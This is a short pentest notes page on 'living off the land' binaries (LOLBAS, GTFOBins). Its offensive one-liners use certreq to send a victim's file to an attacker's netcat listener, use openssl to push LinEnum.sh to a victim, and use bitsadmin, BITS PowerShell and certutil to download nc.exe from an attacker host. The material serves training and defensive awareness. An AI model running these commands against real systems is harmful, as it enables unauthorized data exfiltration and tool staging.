Skip to content

LOLbins - "Living off the land" binaries: LOLbas and GTFObins

The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. There are currently two websites that aggregate information on Living off the Land binaries:

Windows - LOLBAS

CertReq.exe

Let's use CertReq.exe as an example.

1
2
3
4
5
# From the victim's machine we can sec for instance file.txt to our kali
certreq.exe -Post -config http://$ipKali c:\folder\file.txt

# From the kali machine, the attacking one, we use a netcat session
sudo nc -lvnp 80

Linux - GTFOBins

OpenSSL

1
2
3
4
5
6
7
8
# Create Certificate in our attacker machine
openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

# Stand up the Server in our attacker machine
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

# Download File to the victim's Machine, but run command from the attacker kali
openssl s_client -connect $ipVictim:80 -quiet > LinEnum.sh

Other Common Living off the Land tools

Bitsadmin Download function

The Background Intelligent Transfer Service (BITS) can be used to download files from HTTP sites and SMB shares. It "intelligently" checks host and network utilization into account to minimize the impact on a user's foreground work.

1
2
# File Download with Bitsadmin
bitsadmin /transfer wcb /priority foreground http://$ip:8000/nc.exe C:\Users\htb-student\Desktop\nc.exe

PowerShell also enables interaction with BITS, enables file downloads and uploads, supports credentials, and can use specified proxy servers.

1
2
# Download
Import-Module bitstransfer; Start-BitsTransfer -Source "http://$ip/nc.exe" -Destination "C:\Temp\nc.exe"

Download a File with Certutil

Certutil can be used to download arbitrary files.

1
certutil.exe -verifyctl -split -f http://$ip/nc.exe
Last update: 2023-07-15
Created: July 6, 2023 20:02:57